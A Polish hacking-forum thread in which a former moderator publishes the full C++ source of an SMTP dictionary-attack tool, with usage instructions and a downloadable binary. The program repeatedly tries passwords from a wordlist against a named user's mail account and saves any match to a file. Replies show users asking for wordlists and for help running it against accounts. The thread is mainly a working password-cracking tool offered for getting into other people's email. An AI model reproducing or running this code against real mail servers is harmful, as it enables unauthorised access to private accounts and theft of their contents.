Łamanie hasła do poczty internetowej metodą słownikową.

Status
Zamknięty.

discovery44

Były Moderator
Dołączył
Sierpień 14, 2007
Posty
763
Ze względu na to, że ostatnio często widzę pytania odnośnie tego zagadnienia postanowiłem napisać program który ma za zadanie złamać hasło do poczty internetowej przez protokół SMTP. Jeżeli chciałeś zadać pytanie w stylu "Jak złamać/znaleźć hasło do poczty znając tylko login" to zainteresuj się tym tematem.
Program został napisany w C++ z wykorzystaniem winsocket'ów [jeżeli będzie potrzeba to opublikuję także wersję na Linuksa].
Program uruchamia się przez konsolę, na chwilę obecną nie ma jeszcze interfejsu graficznego [jeżeli i na to będzie zapotrzebowanie to napiszę co trzeba].
Działanie:
Program łączy się z serwerem SMTP na porcie 25, wczytuje hasła ze słownika i wysyła zapytanie do serwera z loginem i hasłem, na podstawie odpowiedzi stwierdza czy podane hasło pasuje czy nie.
Format słownika:
Słowniki można znaleźć w internecie, jeżeli znajdę czas to zamieszczę parę odnośników w tym temacie. Póki co słownikiem może być słownik języka polskiego, wyrazów obcych, wyrazów bliskoznacznych et cetera, et cetera. Słownik powinien zawierać hasła, każde w nowej linii. Przykład:
qwe
asd
zxc
...
Dobre słowniki to te po kilka GB lub ewentualnie po kilkaset MB.
Ile czasu zajmuje złamanie hasła?
To zależy od jego złożoności, od wielkości słownika, od szybkości łącza. Jeżeli słownik waży 1GB a hasło ofiary jest na Jego końcu to czas łamania hasła będzie wynosił tyle ile wysyła się 1GB danych z Twojego komputera + czas pobierania danych z serwera (w pojedynczych operacjach to trwa krótko ale pomnożyć to razy kilkaset tysięcy i wyjdzie spory okres czasu). Jeżeli chcesz złamać hasło na hopsiup to nie jest to najlepszy sposób.
Parametry wywołania programu:
1) Nazwa pod jaką zapisany jest program (standardowo to "smtp_password_breaker.exe")
2) Adres serwera SMTP (dla przykładu "poczta.interia.pl", "poczta.o2.pl")
3) Nazwa użytkownika którego hasło masz zamiar złamać ("[email protected]", "[email protected]")
4) Lokalizacja słownika, jeżeli słownik jest w tym katalogu co program to wystarczy sama nazwa pod jaką zapisany jest słownik.
Jak uruchomić:
Odpowiedź jest prosta jednak mogą pojawić się pytania jak to zrobić bo obecnie niema GUI.
Zakładając, że program jest w katalogu "C:\password_breaker", uruchomić konsolę (cmd/wiersz poleceń) i wpisać:
Kod:
cd C:\password_breaker
 smtp_password_breaker.exe poczta.interia.pl [email protected]  slownik.txt
Wyniki łamania:
Program zapisze wyniki do pliku tekstowego w katalogu w którym się znajduje (przykład: "poczta.o2.pl.txt") w formacie - login:haslo ([email protected]:eek:mdiw129), także spokojnie można zostawić program na tydzień włączony :)
Kod źródłowy:
Może nie jest najładniejszy ale nie za bardzo lubię pisać programy na Windows'ie :)
Kod:
/*
SMTP Password Breaker
C++ && sockets
czw, 23 gru 2010, 00:56:45 by discovery44
for haker.com.pl
*/
/* WINDOWS VERSION */
#include <winsock.h>
#include <stdexcept>
#include <stdlib.h>
#include <iostream>
#include <fstream>
#include "base64.h"

using namespace std;

SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsda;
struct hostent *he;
struct in_addr adr;
const int BUFFSIZE = 256;
const int PORT = 25;
char buffer[BUFFSIZE];
string query, tbuffer, login, pass, ip, fname;
fstream infile, outfile;
void czysc() { for(int i = 0 ; i < BUFFSIZE ; i++) buffer[i] = '\0'; }

int main(int argc, char *argv[])
{
    cout << "Please come visit: http://haker.com.pl\n";
    if(argc != 4)    cout << "Usage: " << argv[0] << "  poczta.interia.pl [email protected] dictionary.txt\n";
    else
    {
        WSAStartup(MAKEWORD(2,2), &wsda);   
        ip = argv[1];
        login = argv[2];
        fname = argv[3];
        
        infile.open( fname.c_str(), ios::in );
        outfile.open( ( ip + string(".txt") ).c_str(), ios::out |  ios::app );
        if( infile.fail() || outfile.fail() )
            cout << "ERROR: Infile / Outfile.\n";
        else
        {
            sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
            he = gethostbyname( ip.c_str() );
            adr.s_addr = *((unsigned long*)he->h_addr_list[0]);
            addr.sin_family = AF_INET;
            addr.sin_port = htons(PORT);
            addr.sin_addr.s_addr = adr.s_addr;
            if(connect(sock, (struct sockaddr *)&addr, sizeof addr)  != 0)
            {
                cout << "ERROR: Connect.\n";
            }
            else
            {
                cout << "Connected.\n";
                while(1)
                {
                    try
                    {                
                        query = "auth login\r\n";
                        send(sock, query.c_str(), query.length(), 0);
                        recv(sock, buffer, BUFFSIZE, 0);czysc();
                    
                        query = base64_encode(login) + "\r\n";
                        send(sock, query.c_str(), query.length(), 0);
                        Sleep(100);
                        recv(sock, buffer, BUFFSIZE, 0); czysc();
                        Sleep(100);

                        getline(infile, pass);
                        query = base64_encode(pass) + "\r\n";
                        send(sock, query.c_str(), query.length(), 0);
                        Sleep(100);
                        recv(sock, buffer, BUFFSIZE, 0);
                        tbuffer = buffer; 
                        Sleep(200);
                        czysc();
                        
                        if(tbuffer.find("235") != string::npos)
                        {
                            cout << "Password: " << pass  << endl;
                            outfile << login << ":" <<  pass << endl;
                            break;
                        }
                    }
                    catch(out_of_range)
                    {
                        cout << "End of file.\n";
                        break;
                    }
                }
            }
        }
    }
}
Download: załącznik.
Hasło: haker.com.pl
 

Attachments

  • password_breaker.rar
    110,4 KB · Wyś: 5435
Ostatnio edytowane przez moderatora:

spr3y

Użytkownik
Dołączył
Grudzień 23, 2010
Posty
1
Jeśli jest taka możliwość to bym prosił o umieszczenie linku do jakiegoś dobrego słownika bo nie mogę sam znaleźć:/
 

Fikoł1910

Użytkownik
Dołączył
Grudzień 18, 2010
Posty
11
jeśli już ukazało się conected. to co dalej?? czekaż aż się uda czy co?
 
Ostatnia edycja:

discovery44

Były Moderator
Dołączył
Sierpień 14, 2007
Posty
763
jeśli już ukazało się conected. to co dalej?? czekaż aż się uda czy co?
Czekaj aż trafi się poprawne hasło i wyprintuje Ci komunikat i zapisze wynik do pliku.
Mi wyskakuje ERROR: Connect ? ocb
Czyli, że podajesz zły adres lub nie można nawiązać połączenia (np. smtp nie pracuje na porcie 25).
 

Ememens11

Użytkownik
Dołączył
Styczeń 1, 2011
Posty
3
Ciągle czekam, a mój słownik ma 20-30 linijek. Zapomniałem hasła do e-mala, a znam możliwe kombinacje xD.
 

discovery44

Były Moderator
Dołączył
Sierpień 14, 2007
Posty
763
Jak pisałem wyżej dobry słownik czyli taki który się na coś nada ma kilka GB. Twoje 20 linijek możesz sobie...



nie moge tego uruchomic.klikam dwa razy wyskoczy mi cos i szybko znika.prosze o pomoc.​
A Ty przeczytaj posta i pogrubienie "Uruchamianie".
 

hanys86

Użytkownik
Dołączył
Styczeń 4, 2011
Posty
1
także mam problem z uruchomieniem jak kolega "rubelek"
w poście jak opisałeś uruchamianie użyłeś jakiegoś skrótu myślowego nie rozumiem o co ci tam chodzi
w tych sprawach jestem laikiem więc proszę o wytłumaczenie tego że tak powiem "jak na chłopski rozum"
pozdrawiam
 
Ostatnia edycja:

Legalnl

Użytkownik
Dołączył
Październik 8, 2008
Posty
828
siemanko ;) Ciekawy program :D tylko jak to jest z zabezpieczeniami typu ograniczenie liczby połączeń w czasie ? Wątpię by taki Gmail lub o2 pozwalał sobie sprawdzać tyle ilości haseł na sekundę.
 

Hittman

Użytkownik
Dołączył
Styczeń 9, 2011
Posty
1
Wszystko działa, dzięki ale ten sposób jest mało skuteczny prawie nikt nie ma hasła z słownika polskiego lub angielskiego. Są może jakieś słowniki z różnymi kombinacjami haseł???
 

mrozek44

Użytkownik
Dołączył
Styczeń 3, 2011
Posty
10
A nie jest tak, że np, poczta.wp.pl zablokowała możliwość masowych prób logowania na konto? Dlatego np. nie działa Brutus ?
 

Digital Shakerz

Użytkownik
Dołączył
Styczeń 11, 2011
Posty
1
Wszystko działa, dzięki ale ten sposób jest mało skuteczny prawie nikt nie ma hasła z słownika polskiego lub angielskiego. Są może jakieś słowniki z różnymi kombinacjami haseł???


no własnie.. co jesli ktoś ma hasło założmy: dh73nd78 .. to wtedy nawet gdy przezszuka caly slownik ? czy moze bedzie program kombinowal rozne kombinacje??
 
Status
Zamknięty.
Do góry Bottom